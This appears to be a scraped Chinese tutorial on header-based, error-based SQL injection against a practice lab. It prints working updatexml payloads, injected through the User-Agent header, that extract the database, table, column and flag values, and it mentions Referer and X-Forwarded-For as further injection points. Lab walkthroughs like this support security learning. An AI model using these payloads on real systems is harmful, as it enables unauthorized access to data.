SQL注入

Posted Hacker Snownman

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入相关的知识,希望对你有一定的参考价值。

手工注入

Head注入

显错注入(get型)和post注入是sql注入的首选,而head注入属于报错注入,只有在实在没有一点办法的情况下才可以尝试使用head注入

靶场还是显错注入和post注入那个靶场

第一种情况:




SQL注入(二)


看源码,在正常情况下是没有源码的,由于是靶场,所以会有源码存在。

根据源码分析,我们需要先登录,然后在HTTP_USER_AGENT那里进行注入。

账号密码我们没有,所以我们需要Burpsuite进行爆破。

爆破的方法就不去展示了,在网络上一搜就可以。https://jingyan.baidu.com/article/ca41422f054c881eae99eda0.html

得到账号密码是admin/123456

ctrl+R发送到repeater中,可以循环测试

updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了

User-———Agent后面添加'or updatexml(1,concat(0x7e,(select database())),1),1)#获取数据库:

左侧:


SQL注入(二)

右侧:


SQL注入(二)

得到数据库:head_error

'or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema=database () limit 0,1)),1),1)#查询表名:


SQL注入(二)

SQL注入(二)





表名flag_head

'or updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_name="flag_head" limit 1,1)),1),1)#查询字段名:


SQL注入(二)



SQL注入(二)


使用' or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1)#查询数据:



SQL注入(二)

SQL注入(二)



于是就得到了我们想要的数据

第二种情况:

SQL注入(二)




SQL注入(二)





我们从Referer部分进行注入




SQL注入(二)




其他的都和第一种情况一样

第三种情况:



SQL注入(二)








没有我们可以利用的,所以我们可以添加X-Forwarded-For:进行注入


































































以上是关于SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入

mybatis以及预编译如何防止SQL注入

手机只需发条消息即可开始大规模SQL注入攻击

4个单词,谷歌返回16个SQL注入漏洞

基于约束的SQL攻击